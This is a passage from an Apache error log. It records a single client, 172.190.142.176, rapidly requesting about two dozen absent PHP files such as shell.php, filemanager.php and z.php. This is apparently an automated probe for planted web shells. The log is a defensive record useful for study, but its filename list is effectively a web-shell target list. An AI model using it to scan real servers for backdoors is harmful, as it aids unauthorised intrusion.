/usr/local/apache/htdocs/wp-links-opml.php [Thu Dec 18 06:41:53.385592 2025] [:error] [pid 29976:tid 29995] [client 172.190.142.176:41094] File does not exist: /usr/local/apache/htdocs/mah.php [Thu Dec 18 06:41:53.420700 2025] [:error] [pid 29748:tid 29786] [client 172.190.142.176:41096] File does not exist: /usr/local/apache/htdocs/asas.php [Thu Dec 18 06:41:53.496738 2025] [:error] [pid 29976:tid 29982] [client 172.190.142.176:41104] File does not exist: /usr/local/apache/htdocs/mans.php [Thu Dec 18 06:41:53.535565 2025] [:error] [pid 29976:tid 30000] [client 172.190.142.176:41108] File does not exist: /usr/local/apache/htdocs/build.php [Thu Dec 18 06:41:53.582449 2025] [:error] [pid 29976:tid 30004] [client 172.190.142.176:41110] File does not exist: /usr/local/apache/htdocs/atomlib.php [Thu Dec 18 06:41:53.621484 2025] [:error] [pid 29749:tid 29829] [client 172.190.142.176:41114] File does not exist: /usr/local/apache/htdocs/lib.php [Thu Dec 18 06:41:53.669090 2025] [:error] [pid 29749:tid 29818] [client 172.190.142.176:41116] File does not exist: /usr/local/apache/htdocs/lv.php [Thu Dec 18 06:41:53.708649 2025] [:error] [pid 29976:tid 29998] [client 172.190.142.176:41118] File does not exist: /usr/local/apache/htdocs/class-wp.php [Thu Dec 18 06:41:53.751750 2025] [:error] [pid 29976:tid 30006] [client 172.190.142.176:41122] File does not exist: /usr/local/apache/htdocs/about.php [Thu Dec 18 06:41:53.787068 2025] [:error] [pid 29976:tid 29994] [client 172.190.142.176:41124] File does not exist: /usr/local/apache/htdocs/filemanager.php [Thu Dec 18 06:41:53.836736 2025] [:error] [pid 29747:tid 29777] [client 172.190.142.176:41128] File does not exist: /usr/local/apache/htdocs/ioxi-o2.php [Thu Dec 18 06:41:53.886173 2025] [:error] [pid 29749:tid 29826] [client 172.190.142.176:41130] File does not exist: /usr/local/apache/htdocs/a.php [Thu Dec 18 06:41:53.939629 2025] [:error] [pid 29748:tid 29787] [client 172.190.142.176:41134] File does not exist: /usr/local/apache/htdocs/mail.php [Thu Dec 18 06:41:53.990388 2025] [:error] [pid 29747:tid 29771] [client 172.190.142.176:41136] File does not exist: /usr/local/apache/htdocs/CLA.php [Thu Dec 18 06:41:54.046734 2025] [:error] [pid 29749:tid 29811] [client 172.190.142.176:41140] File does not exist: /usr/local/apache/htdocs/ol.php [Thu Dec 18 06:41:54.096084 2025] [:error] [pid 29748:tid 29796] [client 172.190.142.176:41144] File does not exist: /usr/local/apache/htdocs/ouh.php [Thu Dec 18 06:41:54.150615 2025] [:error] [pid 29976:tid 30003] [client 172.190.142.176:41146] File does not exist: /usr/local/apache/htdocs/bolt.php [Thu Dec 18 06:41:54.234711 2025] [:error] [pid 29747:tid 29760] [client 172.190.142.176:41152] File does not exist: /usr/local/apache/htdocs/shell.php [Thu Dec 18 06:41:54.280319 2025] [:error] [pid 29747:tid 29764] [client 172.190.142.176:41156] File does not exist: /usr/local/apache/htdocs/tgrs.php [Thu Dec 18 06:41:54.327880 2025] [:error] [pid 29747:tid 29772] [client 172.190.142.176:41158] File does not exist: /usr/local/apache/htdocs/system_log.php [Thu Dec 18 06:41:54.394865 2025] [:error] [pid 29976:tid 30005] [client 172.190.142.176:41162] File does not exist: /usr/local/apache/htdocs/gifclass4.php [Thu Dec 18 06:41:54.462928 2025] [:error] [pid 29976:tid 30000] [client 172.190.142.176:41166] File does not exist: /usr/local/apache/htdocs/z.php [Thu Dec 18 06:41:54.498158 2025] [:error] [pid 29749:tid 29815] [client 172.190.142.176:41168] File does not exist: /usr/local/apache/htdocs/akcc.php [Thu Dec 18 06:41:54.563707 2025] [:error] [pid 29976:tid 29997] [client 172.190.142.176:41172] File does not exist: /usr/local/apache/htdocs/zxz.php